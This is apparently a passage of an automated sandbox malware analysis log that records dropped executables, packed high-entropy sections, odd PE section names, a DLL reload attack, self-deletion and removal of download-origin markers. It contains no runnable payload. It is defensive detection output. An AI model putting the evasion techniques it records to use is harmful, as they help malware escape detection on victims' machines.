Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402F19 push eax; ret	33_2_00402FEA
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_004015D3 push edx; iretd	33_2_004015EB
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_004026D8 push ds; retf	33_2_004026DC
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401580 push edx; iretd	33_2_004015D2
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401981 push ebx; retf	33_2_00401982

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

Code function: 0_2_004267E0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_004267E0

Source: 8746.exe.7.dr

Static PE information: 0xBCDF81AC [Sat May 31 12:18:52 2070 UTC]

Source: SkB6zJ6H3N.exe	Static PE information: section name: .xemu
Source: 32BC.exe.7.dr	Static PE information: section name: .malajew
Source: 192F.exe.7.dr	Static PE information: section name: .cipizi
Source: 6DDE.exe.7.dr	Static PE information: section name: .vuci
Source: 75B0.exe.7.dr	Static PE information: section name: .xoj
Source: 97A5.exe.7.dr	Static PE information: section name: .xemu
Source: sfiueca.7.dr	Static PE information: section name: .cipizi
Source: cviueca.7.dr	Static PE information: section name: .xemu

Source: EDD.exe.7.dr	Static PE information: real checksum: 0x10f50 should be: 0x5be1
Source: 86B8.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x4147a
Source: 5D4.exe.7.dr	Static PE information: real checksum: 0x8ddc4 should be: 0x7fd66
Source: 89D7.exe.7.dr	Static PE information: real checksum: 0x87179 should be: 0x81f2a
Source: 319A.exe.7.dr	Static PE information: real checksum: 0x2bdee should be: 0x3529c

Source: initial sample	Static PE information: section name: .text entropy: 6.98541058643
Source: initial sample	Static PE information: section name: .text entropy: 6.97994250456
Source: initial sample	Static PE information: section name: .text entropy: 7.66779890827
Source: initial sample	Static PE information: section name: .text entropy: 7.66469899227
Source: initial sample	Static PE information: section name: .text entropy: 7.38549549306
Source: initial sample	Static PE information: section name: .text entropy: 7.83179260502
Source: initial sample	Static PE information: section name: .text entropy: 7.79620991915
Source: initial sample	Static PE information: section name: .text entropy: 7.85713092672
Source: initial sample	Static PE information: section name: .text entropy: 7.29655075024
Source: initial sample	Static PE information: section name: .text entropy: 7.8779018043
Source: initial sample	Static PE information: section name: .text entropy: 7.86113394582
Source: initial sample	Static PE information: section name: .text entropy: 6.98541058643
Source: initial sample	Static PE information: section name: .text entropy: 7.38549549306
Source: initial sample	Static PE information: section name: .text entropy: 6.98541058643
Source: initial sample	Static PE information: section name: .text entropy: 6.97994250456

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\sfiueca	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\cviueca	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\eviueca	Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\sfiueca	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\97A5.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\69B5.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\32BC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\86B8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\75B0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\eviueca	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File created: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	File created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8746.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5D4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8E8B.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\cviueca	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\192F.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\192F.exe	File created: C:\Users\user\AppData\Local\Temp\1105.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\EDD.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\89D7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\319A.exe	File created: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\319A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7428.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6DDE.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe

Code function: 32_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

32_2_00401306

Hooking and other Techniques for Hiding and Protection:

DLL reload attack detected

Show sources

Source: C:\Users\user\AppData\Local\Temp\192F.exe

Module Loaded: Original DLL: C:\USERS\user\APPDATA\LOCAL\TEMP\1105.TMP reload: C:\WINDOWS\SYSWOW64\NTDLL.DLL

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\skb6zj6h3n.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\cviueca:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe

Code function: 32_2_00408E31 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

32_2_00408E31

Source: C:\Users\user\AppData\Local\Temp\5D4.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
